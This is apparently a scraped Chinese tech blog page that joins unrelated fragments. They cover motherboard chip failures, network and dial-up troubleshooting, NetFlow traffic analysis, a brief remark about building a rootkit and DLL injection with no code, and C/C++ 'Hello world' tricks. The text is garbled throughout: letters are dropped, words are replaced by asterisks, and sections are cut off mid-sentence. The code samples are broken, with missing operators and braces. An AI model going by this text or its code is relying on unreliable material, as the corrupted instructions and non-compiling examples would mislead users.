  主板上最重要的是芯片。一般的非整合主板都有两个芯片,一个是南桥芯片,一个是北桥芯片。从传统意义上讲,北桥最主要的任务就是作为CPU与系统交换的主界面,以其中的内存控制器功能最为重要。除此以外,北桥还负责与南桥进行沟通。
  而南桥的功能则五花八门的,可以包括磁盘控制器、音频合成、以太网络控制器以及我们经常接触也是必有的I/O界面(例如串口、PS/2口等)。如果北桥芯片坏了,那么CPU与系统的主界面交换就会出现问题,然后CPU在电脑上就不起作用了。既然中央处理器都不能用,那能不能启动是可想而知的,而且同时内存的控制功能也失去了,电脑没了两大部件的支持,哪里还有显示啊?
  南桥芯片一旦出现问题,电脑也就失去了磁盘控制器功能,这和没有了硬盘是没什么两样的。可见这两个芯片有多重要!这两个芯片如果烧掉了,那可是个致命伤,在电脑城是没办法修的,除非送回原厂去修。我宿舍众多电脑中,就有一块主板出现过这样的问题,南桥的芯片烧掉了,保修期也已经过了,只好再买一块。如果是整合主板就更惨,因为它只有一个芯片,要是坏了可比一般的主板的问题还要严重。所以在装机或使用的时候,一定要注意这些细节问题,以免造成无须有的损失。
  主板的问题导致启动失败原因不相同,而且每块主板的结构也不一定相同,所以出现的问题也不同,这里不可能把所有的情况都叙述出来,我仅仅是把自己的经历和经验写出来与大家共同切磋一下,如果有所错漏还是希望大家能给出建议,我也能从中学习到知识。
  故障分析:打开机箱,仔细观察,发现CPU风扇正常运转,关掉电源后仔细检查板卡的***质量,重点重新***内存条及显卡,检查主板的相关跳线等情况,确认无误,遂采用最小系统法排除故障,去掉硬盘光驱等的连接线,只保持主板,CPU,内存,显卡的最小系统,开机后系统顺利开启。便重点检查光驱和硬盘的连接情况,当上好光驱后上述故障重新出现,难道是光驱没上好,该光驱单独接在IDE2总线接口上,笔者检查发现,该光驱连接用的IDE线接头上无防反插的凸块,难道是接反了?仔细一看果然如此,正确上好后系统正常起动。
  故障分析:按下电源,仔细观察,见电源风扇,CPU风扇皆正常运转,开机时无喇叭报警声(喇叭连接正确,估计已坏),显示器无刷屏反应,但显示器指示灯一直黄着(正常应当成绿色),表明显示器无大碍。先将内存,CPU等部件用替换法试了试皆无问题。便怀疑主板是不是有问题,将主板取下拿到其它电脑上一试也是好的,便将重点放在了电源及电源开关上,电源经测试无问题,那么是电源开关有问题吗?经仔细检查测试发现复位按钮里面塑料复位装置已断裂,使里面两根金属片粘贴在一起,产生永久短路,使复位开关一直处于复位状态故发生黑屏故障。先不将复位线连上主板,顺利启动电脑,后从电器维修店找来块类似的复位按钮重新安上后一切恢复正常。
经常死机并出现花屏的原因
问:最近我买了一块二手主板,商家声称是技嘉GA-7ZMMP主板,采用VIA 8363芯片,集成TNT2 M64/32MB显卡,支持毒龙1.3GHz以下的CPU。但我在技嘉的主页里怎么也找不到型号为
发表于
07时25分25秒
2007年05月29日
当网络管理员遭遇网络不通到底该怎么办
作者:woyisi 来源:赛迪网技术社区
做为网络管理员经常会遭遇到网络不通的问题,尤其是做为网吧的网络管理员,一旦遇到网络不通的情况,一边要忍受网友的怨言,一边还要背负网吧老板的责难。这种滋味,可以想像会有多难受。遇到这种情况时,首先你要有耳旁风的精神,因为如果你太在意别人的呵斥,你会先自乱阵脚而无法凝神静气的考虑问题。
安静,安静。在你安静下来之后,可以从以下五步考虑解决
网络不通
的问题:
一、检查
这里所说的检查,是指检查电缆线,也就是指计算机与网络接口之间的电缆。
如果是小型的10/100网络环境,只需检查开路、短路和布线就可以了,如果是千兆以太网,则还需检查电缆中是否存在串扰和阻抗故障。
二、确认
确认,也就是让你确认是否连接到交换机。
一旦确认不是个别计算机造成的问题,你再将便携式网络工具连接到办公室线路,检查是否可以建立链路,接着再检查端口配置,以确保端口可用且已按正确的虚拟局域网进行配置。
三、申请
在确认无误并建立链路后,用工具从服务器申请DHCP地址。应确保分配的地址与相应的子网相符;检验子网掩码;确认默认网关和DNS服务器地址。
提示:
如果未能从服务器获得响应,它应该可以通过分析广播流量检测出相应子网。通过从交换机获得的Cisco发现协议(CDP)报告,检查工具所连接的交换机端口,并确认子网配置。
四、Ping
Ping网络上的设备。
获取DHCP地址后,即可使用工具ping一台局域网外的设备(推荐直接ping某
主页地址)。这步操作,可以帮助你确认DHCP指的定配置是否正确,以及网络数据是否被正确地经由路由发送。
五、检验
检验,检验的是速度/双工模式设置。
事实上,在做到第四步以后,如果网络没有通,你可以先想一想前面的四步操作是否有遗漏,如果没有,请再考虑操作这一步。
链路性能故障,比如双工模式不匹配、速度不匹配,以及静态配置IP地址等,都只能进行在线检测。因此,小编建议个为网管使用具有在线检测功能的工具进行检测。如果检测到双工模式不匹配,则确认计算机和交换机端口是否均已被设成自动协议。
一旦检验完所有这些参数之后,计算机与网络之间的链路即可取消。如果故障仍然存在,则可能需要使用更加精密的网络诊断工具。
对于本文所说的方法,比较适合网管经验比较丰富的朋友,对于初当网管的朋友看着可能有些费解,甚至根本就是看不懂。不过,这没关系,等你工作时间长了之后,积累了一些经验,也许你会忽然间明白。
拿什么来分析网络故障以及诊断网络性能
作者:赛迪网-网管员世界 来源:赛迪网-网管员世界
随着IT、网络技术的迅猛发展和企业信息化程度的不断提高,各种网络应用越来越丰富,各种应用时时刻刻都在争夺有限的网络带宽,从而导致网络管理的难度不断增大。因此,如何保证网络的可用性和关键业务的畅通运行,对企业发展将起到至关重要的作用。企业需要有相应的技术手段,明确了解网络上各种应用的带宽占用情况,分析用户流量行为,以便合理的规划和分配网络带宽,有效地保障关键业务应用的正常运行。
与此相适应,网络管理也从过去的设备级管理上升为今天的业务管理。因此,专业的网络流量和协议分析软件也应运而生,他们帮助用户具体了解当前的流量组成、协议分布和用户行为。
网络流量分析是指捕捉网络中流动的数据包,并通过查看包内部数据以及进行相关的协议、流量分析、统计等来发现网络运行过程中出现的问题,它是网络和系统管理人员进行网络故障和性能诊断的有效工具。常用的
网络流量
协议分析
有四种方法。
1、基于SNMP
本方法仅能对网络设备端口的整体流量进行分析,可以获得设备端口的实时或者历史的流入/流出带宽、丢包、误包等性能指标,但无法分析具体的用户流量和协议组成。通过扩展实现RMON和RMON II,该方法可在一定程度上(网络2层到4层)实现有限的端到端通信会话数据分析、TopN用户统计等功能。相关的产品有HP的OpenView NNM,CA的 UniCenter,MRTG等。因其具有实现简单、标准统一、接口开放的特点,被业界广泛采用。
2、基于网络探针(Probe)
本方式的数据抓包、分析和统计等功能一般都在网络探针上以硬件方式实现,分析的结果存储在探针的内存或磁盘之中,具体的前端展现依赖与之对应的专门软件。因此具有效率高、可靠性高、高速运行不丢包的特点。本种方式可深入的对网络2层、3层甚至7层的特性进行详细分析。常见的产品有Agilent的 NetMetrix 及其Probes,NetScout 的nGenius Performance Manager 及其Probes等。
3、基于实时抓包分析
基于实时抓包的分析技术提供详细的从物理层到应用层的数据分析。但该方法主要侧重于协议分析,而非用户流量访问统计和趋势分析,仅能在短时间内对流经接口的数据包进行分析,无法满足大流量、长期的抓包和趋势分析的要求。常见的产品有NAI 的Sniffer Pro,免费的tcpdump、ethereal等。
4、基于流(Flow)的流量分析
目前基于流的分析技术主要有两种:sFlow和NetFlow。sFlow是由InMon、HP和Foundry Networks联合开发的一种网络监测技术,它采用数据流随机采样技术,可以适应超大网络流量(如大于10G )环境下的流量分析,让用户详细、实时地分析网络传输流的性能、趋势和存在的问题。目前,仅有HP、Foundry和 Extreme Networks等厂商的部分型号的交换机支持sFlow。
NetFlow是Cisco公司开发的技术,它既是一种交换技术,又是一种流量分析技术,同时也是业界主流的计费技术之一。它可以回答有关IP流量的如下问题:谁在什么时间、在什么地方、使用何种协议、访问谁、具体的流量是多少等问题。NetFlow因为其技术和Cisco网络产品的市场占有率优势而成为当今主流的流量分析技术之一。
基于Flow的分析方法将成为趋势
在上面所提到的四种方法中,基于
的分析方法应该是网络流量分析技术的趋势。这是它的技术实现理论所决定的。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" alt="" width="397" height="433" />
流量管理方式比较表(Y=Yes;N=No;P=Perha )
传统的基于SNMP的通用网管软件仅能对网络的整体流量进行监控,而无法对具体协议种类和应用流量组成进行进一步分析,它无法回答当前网络流量分别由哪些应用(协议)组成、各占多大的比例,哪些用户的访问数据量最大,分别使用什么协议,数据源和目的地是什么等问题。而基于基于网络探针(Probe)的分析方法中,探针和软件之间的接口一般是私有接口,第三方软件无法使用,所以此种软硬件结合的方案价格昂贵,部署不是很方便。
基于Flow的分析方法中,网络流(network flow)通常被定义为给定源节点和目的节点之间传输的单向数据包/帧序列。通常,网络设备(3层交换机、路由器等)本身提供了基于IP包头的分析功能,负责网络流数据的分析和整理,按照一定的条件和定义良好的数据格式向流采集器(Flow Collector)输出数据,然后再有相关的软件将采集到的流数据进行整理、分析和客户端展现。这种方法具有价格低廉、部署和配置方便的特点,可适应长期的、大流量环境下的数据采集和分析。最近,IETF的技术人员正在制订IPFIX(IP Flow Information Export)规范,使得网络中流量统计信息的格式趋于标准化。IPFIX基于Cisco的NetFlow V9设计,是一种针对数据输出的、基于模板的格式,具有很强的可扩展性。
NetFlow何处用武?
基于NetFlow的应用系统,根据其侧重点不同,可以分成多种类型的应用:
网络流量分析及容量规划
基于NetFLow的应用系统可以根据NetFlow记录的源/目的IP地址、源/目的端口、L3协议类型、Flow开始/结束时间、包数、字节数等字段,进行综合的静态和动态分析,获取大量的有用信息,如网络在某一时间段内的具体协议、流量大小分布,TopN的流量用户排行、TopN的应用排行,用户之间的详细通信会话,各种应用的流量随时间的变化趋势等等。
经过长时间的数据采集,可以了解整体网络流量和重要应用带宽的占用状况及其变化趋势,用户的使用模式等信息,为今后的网络规划和升级提供决策参考。
流量计费
基于NetFlow可实现多种计费方式,如基于流量、不同的时间段、QoS、应用类型、自治域计费等。
安全监测
根据采集的NetFlow数据,可综合进行模式匹配、基线分析等,进行DoS/DDoS攻击和蠕虫等病毒检测,从而快速定位网络中的异常行为。
传统的安全解决方案不能定位攻击的来源,只能被动防御,如果采用FLOW技术,那么可以很清晰地定位攻击的源地址,目的地址,以及从哪个路由器的物理接口进来,从哪个物理接口出去,这样可以在物理接口上配置ACL,适时地切断蠕虫或者DDOS的流量,进而保护整个网络不受影响。
发表于
20时47分26秒
2007年05月09日
遇到网络故障不着急:网络故障诊断62例
1.故障现象:网络适配器(网卡)设置与计算机资源有冲突。
分析、排除:通过调整网卡资源中的IRQ和I/O值来避开与计算机其它资源的冲突。有些情况还需要通过设置主板的跳线来调整与其它资源的冲突。
2.故障现象:网吧局域网中其他客户机在网上邻居上都能互相看见,而只有某一台计算机谁也看不见它,它也看不见别的计算机。(前提:该网吧的局域网是通过HUB或交换机连接成星型网络结构)
分析、排除:检查这台计算机系统工作是否正常;检查这台计算机的网络配置;检查这台计算机的网卡是否正常工作;检查这台计算机上的网卡设置与其他资源是否有冲突;检查网线是否断开;检查网线接头接触是否正常。
3.故障现象:网吧局域网中有两个网段,其中一个网网段的所有计算机都不能上因特网。(前提:该网吧的局域网通过两个HUB或交换机连接着两个的网段)
分析、排除:两个网段的干线断了或干线两端的接头接处不良。检查服务器中对该网段的设置项。
4.故障现象:网吧局域网中所有的计算机在网上邻居上都能互相看见。(前提:该网吧的局域网是通过HUB或交换机连接成星型网络结构)
分析、排除:检查HUB或交换机工作是否正常。
5.故障现象:网吧局域网中某台客户机在网上邻居上都能看到服务器,但就是不能上因特网。(前提:服务器指代理网吧局域网其他客机上因特网的那台计算机,以下同)
分析、排除:检查这台客户机TCP/IP协议的设置,检查这台客户机中IE浏览器的设置,检查服务器中有关对这台客户机的设置项。
6.故障现象:网吧整个局域网上的所有的计算机都不能上因特网。
分析、排除:服务器系统工作是否正常;服务器是否掉线了;调制解调器工作是否正常;局端工作是否正常。
7.故障现象:网吧局域网中除了服务器能上网其他客户机都不能上网。
分析、排除:检查HUB或交换机工作是否正常;检查服务器与HUB或交换机连接的网络部分(含:网卡、网线、接头、网络配置)工作是否正常;检查服务器上代理上网的软件是否正常启动运行;设置是否正常。
8.故障现象:进行拨号上网操作时,MODEN没有拨号声音,始终连接不上因特网,MODEN上指示灯也不闪。
分析、排除:***线路是否占线;接MODEN的服务器的连接(含:连线、接头)是否正常;***线路是否正常,有无杂音干扰;拨号网络配置是否正确;MODEN的配置设置是否正确,检查拨号音的音频或脉冲方式是否正常。
9.故障现象:系统检测不到MODEN(若MODEN是正常的)。
分析、排除:重新***一遍MODEN,注意通讯端口的正确位置。
10.故障现象:连接因特网速度过慢。
分析、排除:检查服务器系统设置在拨号网络中的端口连接速度是否是设置的最大值;线路是否正常;可通过优化MODEN的设置来提高连接的速度;通过修改注册表也可以提高上网速度;同时上网的客户机是否很多;若是很多,而使连接速度过慢是正常现象。
11.故障现象:计算机屏幕上出现错误678或错误650的提示框。
分析、排除:一般是你所拨叫的服务器线路较忙、占线,暂时无法接通,你可进一会后继续重拨。
12.故障现象:计算机屏幕上出现错误680:没有拨号音。请检测调制解调器是否正确连到***线。或者Therei o dialtone。 Makesure yourModem is co ected to the phone line properly。的提示框。
分析、排除:检测调制解调器工作是否正常,是否开启;检查***线路是否正常,是否正确接入调制解调器,接头有无松动。
13.故障现象:计算机屏幕上出现The Modem is being used by another Dial-up Networding co ection or another program。Disco ect the other co ection or close the program,and then try agai rdquo; 的提示框。
分析、排除:检查是否有另一个程序在使用调制解调器;检查调制解调器与端口是否有冲突。
14.故障现象:计算机屏幕上出现The computer you are dialing into is not a wering。Try again later的提示框。
分析、排除:***系统故障或线路忙,过一会儿再拨。
15.故障现象:计算机屏幕上出现Co ection to xx.xx.xx. was terminated. Do you want to reco ect? 的提示框。
分析、排除:***线路中断使拨号连接软件与ISP主机的连接被中断,过一会重试。
16.故障现象:计算机屏幕上出现The computer is not receiving a re o e from the Modem. Check that the Modem is plugged in,and if nece ary,turn the Modem off ,and then turn it back o rdquo; 的提示框。
分析、排除:检查调制解调器的电源是否打开;检查与调制解调器连接的线缆是否正确的连接。
17.故障现象:计算机屏幕上出现Modem is not re onding 的提示框。
分析、排除:表示调制解调器没有应答;检查调制解调器的电源是否打开;检查与调制解调器连接的线缆是否正确连接;调制解调器是损坏。
18.故障现象:计算机屏幕上出现NO CARRIER 的提示信息。
分析、排除:表示无载波信号。这多为非正常关闭调制解调器应用程序或***线路故障;检查与调制解调器连接的线缆是否正确的连接;检查调制解调器的电源是否打开。
19.故障现象:计算机屏幕上出现No dialtone 的提示框。
分析、排除:表示无拨号声音;检查***线与调制解调器是否正确连接。
20.故障现象:计算机屏幕上出现Disco ected 的提示时。
分析、排除:表示终止连接;若该提示是在拨号时出现,检查调制解调器的电源是否打开;若该提示是使用过程中出现,检查***是否在被人使用。
21.故障现象:计算机屏幕上出现ERROR 的提示框。
分析、排除:是出错信息;调制解调器工作是否正常,电源是否打开;正在执行的命令是否正确。
22.故障现象:计算机屏幕上出现A network error occurred unable to co ect to server (TCP Error:No router to host)The server may be down or unreadchable。Try co ectin gagain later 的提示时。
分析、排除故障:表示是网络错误,可能是TCP协议错误;没有路由到主机,或者是该服务器关机而导致不能连接,这时只有重试了。
23.故障现象:计算机屏幕上出现The line id busy, Try again later或BUSY 的提示时。
分析、排除:表示占线,这时只在重试了。
24.故障现象:计算机屏幕上出现:The option timed out的提示时。
分析、排除:表示连接超时,多为通讯网络故障,或被叫方忙,或输入网址错误。向局端查询通讯网络工作情况是否正常。检查输入网址是否正确。
25.故障现象:计算机屏幕上出现Another program is dialing the selected co ectio rdquo; 的提示时。
分析、排除:表示有另一个应用程序已经在使用拨号网络连接了。只有停止该连接后才能继续我们的拨号连接。
26.故障现象: 在用IE浏览器浏览中文站点时出现乱码。
分析、排除故障:IE浏览器中西文软件不兼容造成的汉字会显示为乱码,可试用NetScape的浏览器看看;我国使用的汉字内码是GB,而台湾使用的是BIG5,若是这个原因造成的汉字显示为乱码,可用RichWin 变换内码试试。
27.故障现象: 浏览网页的速度较正常情况慢。
分析、排除:主干线路较拥挤,造成网速较慢;(属正常情况)浏览某一网页的人较多,造成网速较慢;(属正常情况) 有关Modem的设置有问题;局端线路有问题。
28.故障现象: 能正常上网,但总是时断时续的。
分析、排除:***线路问题,线路质量差;调制解调器的工作不正常,影响上网的稳定性。
29.故障现象: 用拨号上网时,听不见拨号音,无法进行拨号。
分析、排除:检查调制解调器工作是否正常,电源打开否,电缆线接好了没,***线路是否正常。
30.故障现象: 在拨号上网的过程中,能听见拨号音,但没有拨号的动作,而计算机却提示无拨号声音。
分析、排除:可通过修改配置,使拨号器不去检测拨号声音。可进入我的连接的属性窗口,单击配置标签,在连接一栏中去掉拨号前等待拨号音的复选框。
31.故障现象: 在拨号上网的过程中,计算机屏幕上出现:已经与您的计算机断开,双击连接重试。的提示时。
分析、排除: ***线路质量差,噪声大造成的,可拨打:112报修。也可能是病毒造成的,用杀毒软件杀一遍毒。
32.故障现象: 若计算机屏幕上出现:拨号网络无法处理在服务器类型设置中指定的兼容网络协议的提示时。
分析、排除:检查网络设置是否正确;调制解调器是否正常;是否感染上了宏病毒,用最新的杀毒软件杀一遍毒。
33.故障现象:Windows 98网上邻居中找不到域及服务器,但可找到其他的工作站。
分析、排除:在控制面板网络Microsoft网络客户中,将登录时Windows 98与网络的连接由慢速改为快速连接。
34.故障现象:在查看网上邻居时,会出现无法浏览网络。网络不可访问。想得到更多信息,请查看帮助索引中的网络疑难解答专题。的错误提示。
分析、排除:第一种情况是因为在Windows启动后,要求输入Microsoft网络用户登录口令时,点了取消按钮所造成的,如果是要登录NT服务器,必须以合法的用户登录,并且输入正确口令。第二种情况是与其它的硬件产生冲突。打开控制面板系统设备管理。查看硬件的前面是否有***的问号、感叹号或者红色的问号。如果有,必须手工更改这些设备的中断和I/O地址设置。
35.故障现象:在网上邻居或资源管理器中只能找到本机的机器名。
分析、排除:网络通信错误,一般是网线断路或者与网卡的接确不良,还有可能是Hub有问题。
36.故障现象:可以访问服务器,也可以访问Internet,但却无法访问其他工作站?
分析、排除:如果使用了WINS解析,可能是WINS服务器地址设置不当;检查网关设置,若双方分属不同的子网而网关设置有误,则不能看到其他工作站;检查子网掩码设置。
37.故障现像:网卡在计算机系统无法***。
分析、排除:第一个可能是计算机上***了过多其它类型的接口卡,造成中断和I/O地址冲突。可以先将其他不重要的卡拿下来,再***网卡,最后再***其他接口卡。第二个可能是计算机中有一些***不正确的设备,或有未知设备一项,使系统不能检测网卡。这时应该删除未知设备中的所有项目,然后重新启动计算机。第三个可能是计算机不能识别这一种类型的网卡,一般只能更换网卡。
38.故障现象:局域网上可以Ping通IP地址,但Ping不通域名?
分析、排除:TCP/IP协议中的DNS设置不正确,请检查其中的配置。对于对等网,主机应该填自己机器本身的名字,域不需填写,DNS服务器应该填自己的IP。对于服务器/工作站网,主机应该填服务器的名字,域填局域网服务器设置的域,DNS服务器应该填服务器的IP。
39.故障现象:网络上的其他计算机无法与某一台计算机连接。
分析、排除:确认是否***了该网络使用的网络协议?如果要登录NT域,还必须***NetBEUI协议。确认是否***并启用了文件和打印共享服务?如果是要登录NT服务器网络,在网络属性的主网络登录中,应该选择Microsoft网络用户。如果是要登录NT服务器网络,在网络属性框的配置选项卡中,双击列表中的Microsoft网络用户组件,检查是否已选中登录到Windows域复选框,以及Windows域下的域名是否正确。
40.故障现象:***网卡后,计算机启动的速度慢了很多。
分析、排除:可能在TCP/IP设置中设置了自动获取IP地址,这样每次启动计算机时,计算机都会主动搜索当前网络中的DHCP服务器,所以计算机启动的速度会大大降低。解决的方法是指定静态的IP地址。
41.故障现象:网络***后,在其中一台计算机上的网络邻居中看不到任何计算机?
分析、排除:主要原因可能是网卡的驱动程序工作不正常。请检查网卡的驱动程序,必要时重新***驱动程序。
42.故障现象:从网络邻居中能够看到别人的机器,但不能读取别人电脑上的数据?
分析、排除:
(1)首先必须设置好资源共享。选择网络配置文件及打印共享,将两个选项全部打勾并确定,***成功后在配置中会出现Microsoft 网络上的文件与打印机共享选项。
(2)检查所***的所有协议中,是否绑定了Microsoft网络上的文件与打印机共享。选择配置中的协议如TCP/IP协议,点击属性按钮,确保绑定中Microsoft网络上的文件与打印机共享、Microsoft网络用户前已经打勾了。
43.故障现象:在***网卡后通过控制面板系统设备管理器查看时,报告可能没有该设备,也可能此设备未正常运行,或是没有***此设备的所有驱动程序的错误信息。
分析、排除:
(1)没有***正确的驱动程序,或者驱动程序版本不对。
(2)中断号与I/O地址没有设置好。有一些网卡通过跳线开关设置;另外一些是通过随卡带的软盘中的Setup程序进行设置。
44.故障现象:已经***了网卡和各种网络通讯协议,但网络属性中的选择框文件及打印共享为灰色,无法选择。
分析、排除:原因是没有***Microsoft 网络上的文件与打印共享组件。在网络属性窗口的配置标签里,单击添加按钮,在请选择网络组件窗口单击服务,单击添加按钮,在选择网络服务的左边窗口选择Microsoft,在右边窗口选择Microsoft网络上的文件与打印机共享,单击确定按钮,系统可能会要求插入Windows***光盘,重新启动系统即可。
45.故障现象:无法在网络上共享文件和打印机。
分析、排除:
(1)确认是否***了文件和打印机共享服务组件。要共享本机上的文件或打印机,必须***Microsoft网络上的文件与打印机共享服务。
(2)确认是否已经启用了文件或打印机共享服务。在网络属性框中选择配置选项卡,单击文件与打印机共享按钮,然后选择允许其他用户访问的我的文件和允许其他计算机使用我的打印机选项。
(3)确认访问服务是共享级访问服务。在网络属性的访问控制里面应该选择共享级访问。
46.故障现象:客户机无法登录到网络上。
分析、排除:
(1)检查计算机上是否***了网络适配器,该网络适配器工作是否正常。
(2)确保网络通信正常,即网线等连接设备完好。
(3)确认网络适配器的中断和I/O地址没有与其他硬件冲突。
(4)网络设置可能有问题。
47.故障现象:无法将台式电脑与笔记本电脑使用直接电缆连接。
分析、排除:笔记本电脑自身可能带有PCMCIA网卡,在我的电脑控制面板系统设备管理器中删除该网络适配器记录后,重新连接即可。
48.故障现象:在网上邻居上可以看到其它机器,别人却看不到自己?
分析、排除:经检查网络配置,发现是漏装Microsoft 网络上的文件与打印机共享所致。解决办法:开始--设置--控制面板--网络,单击添加,在网络组件中选择服务,单击添加按钮,型号中选择Microsoft 网络上的文件与打印机共享即可。重新启动后问题解决。
49.故障现象:在网上邻居上只能看到计算机名,却没有任何内容?
分析、排除:出现这种问题时一般都以为是将文件夹没有共享所致。打开资源管理器,点取要共享的文件夹,却发现右键菜单中的共享项都消失了。解决办法是右击网上邻居图标,点取文件及打印共享,钩选允许其它用户访问我的文件,重启后,问题解决。
50.故障现象:在Windows 98的网上邻居中找不到域及服务器,但可找到其他的工作站?
分析、排除:在控制面板网络Microsoft网络客户中,将登录时Windows 98与网络的连接由慢速改为快速连接。
51.故障现象:在查看网上邻居时,会出现无法浏览网络。网络不可访问。想得到更多信息,请查看'帮助索引'中的'网络疑难解答'专题。的错误提示。
分析、排除:(1)这是在Windows启动后,要求输入Microsoft网络用户登录口令时,点了取消按钮所造成的,如果是要登录Windows NT或者Windows 2000服务器,必须以合法的用户登录,并且输入正确口令。
(2)与其它的硬件起冲突。打开控制面板系统设备管理。查看硬件的前面是否有***的问号、感叹号或者红色的问号。如果有,必须手工更改这些设备的中断和I/O地址设置。
52.故障现象:用Windows 2000专业版做服务器,然后用Windows 98做客户机,网上邻居正常,Windows 98与Windows 98之间突然变得很慢,但从Windows 2000访问Windows 98却很快。
分析、排除:大家在通过网络系统浏览共享文件时,大概都会要等上30秒钟。这其实是因为Windows 2000有个BUG,一定要先在计划任务里搜索,再找出共享文件。而我们提到的这个方法就是专门修补这个BUG的,如果做一些改动的话,Windows 2000的用户就会发现,无论是互联网还是视窗浏览的速度都有了很显著的提高:
打开注册表
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace
在其分栏出选择键值:
{D6277990-4C6A-11CF-8D87-00AA0060F5BF
然后删除。
因为就是这个健值引导Windows去搜索计划任务。不需要重新开机,几乎立刻就可以感受到你的浏览程序快了很多!
53.故障现象:已经按照要求***、设置好Sygate,但服务器仍不能连接网络。
分析、排除:使用Sygate中特有的Sygate Diagnostics(诊断)功能。可以通过以下两种方式来启动诊断医生,在 Sygate王界面的工具栏电权击 Diagnosticstool(诊断工具)图标,或者点去开始一程序一SygateSygate Diagnostics。这时诊断工具会依次测试系统设置、网络适配器、拨号连接、TCP/IP协议与设置等。如果测试不能通过,系统会出现一个提示,描述问题及指点正确的方向。此时你可以根据提示作相应的更改。如果测试通过,诊断工具会显示已经测试通过的提示。
54.故障现象:正确***Sygate4后,网络中的某些客户机不能正常使用。
分析、排除:一般情况,客户机不能正常使用多为TCP/IP的配置出现问题,当然也不排除操作系统和硬件(比如网卡已坏等)的问题,在这种情况下,你可以使用Sygate的Troubleshooting(发现并解决故障)功能,在出现的表单中详细列出使用Sygate后产生的信息资料,例如:sdsys.log、 Sygate.log、 sgconf.log、 sgsys.log等,在这些日志中包含了服务器、操作系统、拨号网络、网卡、浏览网址、应用程序等详细资料,你可以根据这些资料来判断故障,然后作出相应修改。
55.故障现象:自从***Sygate后,服务器经常会莫名其妙自动拨号上网。
分析、排除:这是因为网络中的客户机启动了某些网络软件,例如浏览器、电子邮件软件等,而又在配置中勾进了Enable Dial-on-Demand For Cline(允许客户机拨号),这样当SyGate侦测到网络中有连接到Internet的请求,如此时系统尚未建立连接,便会自动拨号。只要去掉前面的小勾,即能解决这个问题。
56. 故障现象:用分机***线上网,Modem为实达网上之星,上网连接速度最快才48000 。 还有,将Modem放在主机箱侧,开机后(未打开Modem电源),家里的***就处于忙音状态。
分析、排除:第一个问题跟分机***线或线接头质量有很大关系,另外,如果Modem的速度平常都能接近48000 ,也不要 随笔- 497 文章- 8 评论- 923 今天用VS 2005(C++ Native)编写Rootkit,发现用M$ C++ Compiler编译成功,并且能运行。但是用Intel C++ Compiler 9.0编辑也能通过,但是运行的时候会出现读写内存出错的问题。。。。郁闷,而且做DLL注入的程序也是一样,难道Intel对API有。。。。?郁闷。。。
posted @ 2006-12-17 17:19 U2U 阅读(246) | 评论(1) |
在初学一门编程语言的时候,写一个“Hello world!”程序是最常见的入门方法。通过写一个成功的“Hello world!”,可以实践这门语言最基本的语法特性,还可以带给自己成就感,真是一举两得。C/C++语言本身有很多特性,如果能够将这些技术***出来变成一个个的“Hello world!”,并且将这些技术点到为止,貌似也算是一件善事。这里,列举了10个“Hello world!”程序,大家雅俗共赏一下。
1. 最经典的“Hello world!”
“Hello world!”最经典的写法当然是直接用 printf 输出“Hello world!”这几个字符了。无论用C还是 C++,写起来都非常的简洁明了。这里把最常见的几个全部列在下面。
#include < tdio.h
#include iostream
int main()
{ printf("Hello world!") // 教科书的写法 puts("Hello world!") // 我最喜欢的 puts("Hello" " " "world!") // 拼接字符串 std::cout "Hello world!" std::endl; // C++风格的教科书写法 return 0;
特别需要注意的是,在C/C++里,如果两个字符串之间除空白符以外没有任何东西,编译器会自动认为这两个字符串是连在一起的字符串。这样,如果一个字符串过长,可以用这种方法换行来写,既不浪费性能,又美观。
2. 用宏写的“Hello world!”
在C/C++里,宏是一个神奇的东西。特别是在C语言中,宏可以帮我们做一些“又脏又累”的活,包括拼接代码片断、隐藏繁琐的实现细节等等。其中特别有趣的是“#”的用法,它可以“提取”参数的名字,把它变成字符串。
#include < tdio.h
#define Say(sth) puts(#sth)
int main()
{ return Say(Hello world!);
请注意,这个Hello world可是完全没有出现引号哦!
3. 断章取义的“Hello world!”
字符串是一种常量这当然毫无疑问,但是它的类型是什么,这就需要考虑一下了。使用C++的 typeid就可以这个问题的***,而且只要是符合C或C++标准的编译器就应该是一样的结果。比如字符串“Hello world!”,它的类型就是 char co t [13]。
知道了这个,就可以写出以下的“Hello world!”:
#include < tdio.h
int main()
{ return puts(&am "Do not say: Hello world!"[12]);
4. 退出时运行的“Hello world!”
大家都知道 main 函数退出意味着程序结束,可是这并不完全正确,我们完全可以在 main 函数退出以后做很多事呢——比如说,输出“Hello world!”。这个功能依赖于C标准库中提供的函数 atexit(),调用这个函数并注册自己的回调函数就行。需要注意,这个函数可以调用多次,最后注册的函数最先执行。
#include < tdio.h
#include < tdlib.h
void say()
{ printf("world!");
void sth()
{ printf("Hello ");
int main()
{ return atexit(say), atexit(sth);
5. 读取自己的“Hello world!”
C/C++的编译器提供了一些有用的内置宏,最常用的就是 __FILE__ 和 __LINE__ 了。其中,__FILE__ 代表当前的源文件的文件名,嗯,对了,如果我们让这个程序读取自己的源文件,不就可以做一个很有意思的“Hello world!”了么?
// Hello world!
#include iostream
#include fstream
#include < tring
int main()
{ std::ifstream ifs(__FILE__); std::string say, some, word; ifs say some word; std::cout some " " word; return 0;
6. 话分两头的“Hello world!”
有了C++的类,我们就可以光明正大的在 main 函数执行之前和之后做感兴趣的事情了。我们可以声明一个全局的类的实例,这样,在 main 函数执行之前会调用这个类的构造函数,结束之后则会调用析构函数。
#include iostream
cla say
public: say() { std::cout "Hell"; } ~say() { std::cout "world!"; }
}hello;
int main()
{ std::cout "o "; return 0;
7. 传入模板的“Hello world!”
C++的模板功能极为强大,可以说是C++里面最艰深、最经典、最时尚的部分。一个“Hello world!”当然无法使用很多很高级的模板技巧,我也不想只使用模板特化这样无阻挂齿的小技巧,嗯,那就来演示一个比较罕见的用法吧。
#include iostream
template char * word gt;
cla say
public: void operator () () { std::cout word }
extern char hello[] = "Hello world!";
int main()
{ return sayhello()(), 0;
请注意,这个 extern 是十分必要的,只有加上了 extern,这个指针才是一个编译器间可以确定的值,也才可以参与模板运算。还有,hello 必须为数组类型,而不能为 char*,这个道理和加 extern 是一样的。
此外,这里还演示了 functor 的用法,嗯,关于它的优点就不在这里多说了,反正是与原生指针相比有很多好处就是了。
8. 调用私有函数的“Hello world!”
